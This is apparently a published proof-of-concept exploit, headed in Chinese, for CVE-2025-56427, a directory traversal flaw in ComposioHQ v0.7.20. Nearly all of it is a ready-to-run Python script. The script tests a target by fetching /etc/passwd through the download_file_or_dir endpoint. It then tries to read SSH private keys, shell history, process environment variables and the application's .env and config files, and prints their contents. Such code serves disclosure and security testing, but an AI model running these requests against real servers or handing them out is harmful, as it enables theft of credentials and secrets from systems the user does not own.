CVE-2025-56427 ComposioHQ 目录遍历漏洞

import requests # CVE-2025-56427 PoC - ComposioHQ Directory Traversal # Target: ComposioHQ v0.7.20 # Vulnerability: Path Traversal in _download_file_or_dir function def exploit_directory_traversal(target_url): """ Exploit the directory traversal vulnerability to read arbitrary files """ # Common sensitive files to target sensitive_files = [ '../../../etc/passwd', '../../../etc/hosts', '../../../root/.bash_history', '../../../home/*/.ssh/id_rsa', '../../../proc/self/environ', '../../../app/config.py', '../../../app/.env' ] for file_path in sensitive_files: # Construct the malicious request endpoint = f"{target_url}/download_file_or_dir" params = {'path': file_path} try: response = requests.get(endpoint, params=params, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Success! File: {file_path}") print(f"[+] Content:\n{response.text[:500]}") print("-" * 50) else: print(f"[-] Failed to read: {file_path}") except requests.RequestException as e: print(f"[!] Error accessing {file_path}: {e}") def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2025-56427 """ # Try to read a known file using directory traversal test_path = '../../../etc/passwd' endpoint = f"{target_url}/download_file_or_dir" try: response = requests.get(endpoint, params={'path': test_path}, timeout=10) if response.status_code == 200 and 'root:' in response.text: print(f"[!] VULNERABLE: {target_url}") print(f"[!] Can read /etc/passwd via directory traversal") return True else: print(f"[-] NOT VULNERABLE or file not accessible") return False except requests.RequestException as e: print(f"[!] Connection error: {e}") return False if __name__ == '__main__': import sys if len(sys.argv) < 2: print("Usage: python cve-2025-56427.py <target_url>") print("Example: python cve-2025-56427.py http://target.com:8000") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Checking vulnerability for: {target}") print(f"[*] CVE-2025-56427: ComposioHQ Directory Traversal\n") if check_vulnerability(target): print("\n[*] Exploiting...") exploit_directory_traversal(target)